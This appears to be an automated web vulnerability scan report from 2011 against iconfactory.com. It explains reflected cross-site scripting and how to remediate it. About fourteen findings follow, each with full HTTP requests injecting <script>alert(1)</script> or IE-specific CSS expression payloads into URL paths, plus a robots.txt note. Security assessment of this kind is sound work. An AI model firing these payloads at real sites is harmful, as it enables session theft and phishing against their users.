Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 76031<script>alert(1)</script>b9a88e5c578 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /favicon.ico76031<script>alert(1)</script>b9a88e5c578 HTTP/1.1 Host: iconfactory.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Cache-Control: no-cache Content-Length: 4061 Date: Thu, 10 Feb 2011 23:21:24 GMT Server: lighttpd/1.4.11
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <h3 class="first headtitle"> favicon.ico76031<script>alert(1)</script>b9a88e5c578 was not found </h3> ...[SNIP]...
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 3323b<script>alert(1)</script>627c8c598a5 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /home3323b<script>alert(1)</script>627c8c598a5 HTTP/1.1 Host: iconfactory.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Cache-Control: no-cache Content-Length: 4058 Date: Thu, 10 Feb 2011 23:20:56 GMT Server: lighttpd/1.4.11
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <h3 class="first headtitle"> home3323b<script>alert(1)</script>627c8c598a5 was not found </h3> ...[SNIP]...
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload b2de3<script>alert(1)</script>631c8810f43 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /homeb2de3<script>alert(1)</script>631c8810f43/about HTTP/1.1 Host: iconfactory.com Proxy-Connection: keep-alive Referer: http://iconfactory.com/home Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Cache-Control: no-cache Content-Length: 4110 Date: Thu, 10 Feb 2011 23:22:58 GMT Server: lighttpd/1.4.11
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <h3 class="first headtitle"> homeb2de3<script>alert(1)</script>631c8810f43/about was not found </h3> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload ea754<x%20style%3dx%3aexpr/**/ession(alert(1))>fe5f150248e was submitted in the REST URL parameter 2. This input was echoed as ea754<x style=x:expr/**/ession(alert(1))>fe5f150248e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /home/aboutea754<x%20style%3dx%3aexpr/**/ession(alert(1))>fe5f150248e HTTP/1.1 Host: iconfactory.com Proxy-Connection: keep-alive Referer: http://iconfactory.com/home Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Cache-Control: no-cache Content-Length: 4185 Date: Thu, 10 Feb 2011 23:23:14 GMT Server: lighttpd/1.4.11
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <h3 class="first headtitle"> home/aboutea754<x style=x:expr/**/ession(alert(1))>fe5f150248e was not found </h3> ...[SNIP]...
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload df518<script>alert(1)</script>f468ed4e163 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /homedf518<script>alert(1)</script>f468ed4e163/technology HTTP/1.1 Host: iconfactory.com Proxy-Connection: keep-alive Referer: http://iconfactory.com/home/about Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Cache-Control: no-cache Content-Length: 4125 Date: Thu, 10 Feb 2011 23:23:26 GMT Server: lighttpd/1.4.11
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <h3 class="first headtitle"> homedf518<script>alert(1)</script>f468ed4e163/technology was not found </h3> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 5478a<x%20style%3dx%3aexpr/**/ession(alert(1))>98d215310fb was submitted in the REST URL parameter 2. This input was echoed as 5478a<x style=x:expr/**/ession(alert(1))>98d215310fb in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /home/technology5478a<x%20style%3dx%3aexpr/**/ession(alert(1))>98d215310fb HTTP/1.1 Host: iconfactory.com Proxy-Connection: keep-alive Referer: http://iconfactory.com/home/about Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Cache-Control: no-cache Content-Length: 4200 Date: Thu, 10 Feb 2011 23:23:38 GMT Server: lighttpd/1.4.11
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <h3 class="first headtitle"> home/technology5478a<x style=x:expr/**/ession(alert(1))>98d215310fb was not found </h3> ...[SNIP]...
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload ddc9b<script>alert(1)</script>37923f87697 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /softwareddc9b<script>alert(1)</script>37923f87697/ipulse HTTP/1.1 Host: iconfactory.com Proxy-Connection: keep-alive Referer: http://iconfactory.com/home/technology Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Cache-Control: no-cache Content-Length: 4125 Date: Thu, 10 Feb 2011 23:23:36 GMT Server: lighttpd/1.4.11
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <h3 class="first headtitle"> softwareddc9b<script>alert(1)</script>37923f87697/ipulse was not found </h3> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 4ae3c<x%20style%3dx%3aexpr/**/ession(alert(1))>0d8882bd61c was submitted in the REST URL parameter 2. This input was echoed as 4ae3c<x style=x:expr/**/ession(alert(1))>0d8882bd61c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /software/ipulse4ae3c<x%20style%3dx%3aexpr/**/ession(alert(1))>0d8882bd61c HTTP/1.1 Host: iconfactory.com Proxy-Connection: keep-alive Referer: http://iconfactory.com/home/technology Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Cache-Control: no-cache Content-Length: 4200 Date: Thu, 10 Feb 2011 23:23:48 GMT Server: lighttpd/1.4.11
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <h3 class="first headtitle"> software/ipulse4ae3c<x style=x:expr/**/ession(alert(1))>0d8882bd61c was not found </h3> ...[SNIP]...
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload d4837<script>alert(1)</script>c5b60bc1f04 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /stylesheetsd4837<script>alert(1)</script>c5b60bc1f04/base.css?1223395912 HTTP/1.1 Host: iconfactory.com Proxy-Connection: keep-alive Referer: http://iconfactory.com/home Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Cache-Control: no-cache Content-Length: 4132 Date: Thu, 10 Feb 2011 23:21:29 GMT Server: lighttpd/1.4.11
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <h3 class="first headtitle"> stylesheetsd4837<script>alert(1)</script>c5b60bc1f04/base.css was not found </h3> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload eadba<script>alert(1)</script>822409a662f was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /stylesheets/base.csseadba<script>alert(1)</script>822409a662f?1223395912 HTTP/1.1 Host: iconfactory.com Proxy-Connection: keep-alive Referer: http://iconfactory.com/home Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Cache-Control: no-cache Content-Length: 4122 Date: Thu, 10 Feb 2011 23:21:37 GMT Server: lighttpd/1.4.11
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <h3 class="first headtitle"> stylesheets/base.csseadba<script>alert(1)</script>822409a662f was not found </h3> ...[SNIP]...
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 87cde<script>alert(1)</script>c37e9188ca1 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /stylesheets87cde<script>alert(1)</script>c37e9188ca1/content.css?1289881085 HTTP/1.1 Host: iconfactory.com Proxy-Connection: keep-alive Referer: http://iconfactory.com/home Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Cache-Control: no-cache Content-Length: 4141 Date: Thu, 10 Feb 2011 23:22:00 GMT Server: lighttpd/1.4.11
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <h3 class="first headtitle"> stylesheets87cde<script>alert(1)</script>c37e9188ca1/content.css was not found </h3> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 48361<script>alert(1)</script>f07e2f492fb was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /stylesheets/content.css48361<script>alert(1)</script>f07e2f492fb?1289881085 HTTP/1.1 Host: iconfactory.com Proxy-Connection: keep-alive Referer: http://iconfactory.com/home Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Cache-Control: no-cache Content-Length: 4131 Date: Thu, 10 Feb 2011 23:22:08 GMT Server: lighttpd/1.4.11
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <h3 class="first headtitle"> stylesheets/content.css48361<script>alert(1)</script>f07e2f492fb was not found </h3> ...[SNIP]...
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload c20ce<script>alert(1)</script>658ed17824a was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /stylesheetsc20ce<script>alert(1)</script>658ed17824a/iphone.css?1223395912 HTTP/1.1 Host: iconfactory.com Proxy-Connection: keep-alive Referer: http://iconfactory.com/home Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Cache-Control: no-cache Content-Length: 4138 Date: Thu, 10 Feb 2011 23:21:29 GMT Server: lighttpd/1.4.11
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <h3 class="first headtitle"> stylesheetsc20ce<script>alert(1)</script>658ed17824a/iphone.css was not found </h3> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 3174a<script>alert(1)</script>18a8f3e8a65 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /stylesheets/iphone.css3174a<script>alert(1)</script>18a8f3e8a65?1223395912 HTTP/1.1 Host: iconfactory.com Proxy-Connection: keep-alive Referer: http://iconfactory.com/home Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Cache-Control: no-cache Content-Length: 4128 Date: Thu, 10 Feb 2011 23:21:37 GMT Server: lighttpd/1.4.11
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <h3 class="first headtitle"> stylesheets/iphone.css3174a<script>alert(1)</script>18a8f3e8a65 was not found </h3> ...[SNIP]...
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 9cefc<script>alert(1)</script>6399f1212d8 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /stylesheets9cefc<script>alert(1)</script>6399f1212d8/mainshell.css?1223395912 HTTP/1.1 Host: iconfactory.com Proxy-Connection: keep-alive Referer: http://iconfactory.com/home Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Cache-Control: no-cache Content-Length: 4147 Date: Thu, 10 Feb 2011 23:21:33 GMT Server: lighttpd/1.4.11
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <h3 class="first headtitle"> stylesheets9cefc<script>alert(1)</script>6399f1212d8/mainshell.css was not found </h3> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 313dc<script>alert(1)</script>4bbfab69756 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /stylesheets/mainshell.css313dc<script>alert(1)</script>4bbfab69756?1223395912 HTTP/1.1 Host: iconfactory.com Proxy-Connection: keep-alive Referer: http://iconfactory.com/home Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Cache-Control: no-cache Content-Length: 4137 Date: Thu, 10 Feb 2011 23:21:41 GMT Server: lighttpd/1.4.11
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <h3 class="first headtitle"> stylesheets/mainshell.css313dc<script>alert(1)</script>4bbfab69756 was not found </h3> ...[SNIP]...
The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.
The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.
Issue remediation
The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.
Request
GET /robots.txt HTTP/1.0 Host: iconfactory.com
Response
HTTP/1.0 200 OK Connection: close Content-Type: text/plain ETag: "-321751057" Accept-Ranges: bytes Last-Modified: Tue, 07 Oct 2008 16:22:09 GMT Content-Length: 189 Date: Thu, 10 Feb 2011 23:20:23 GMT Server: lighttpd/1.4.11
# See http://www.robotstxt.org/wc/norobots.html for documentation on how to use the robots.txt file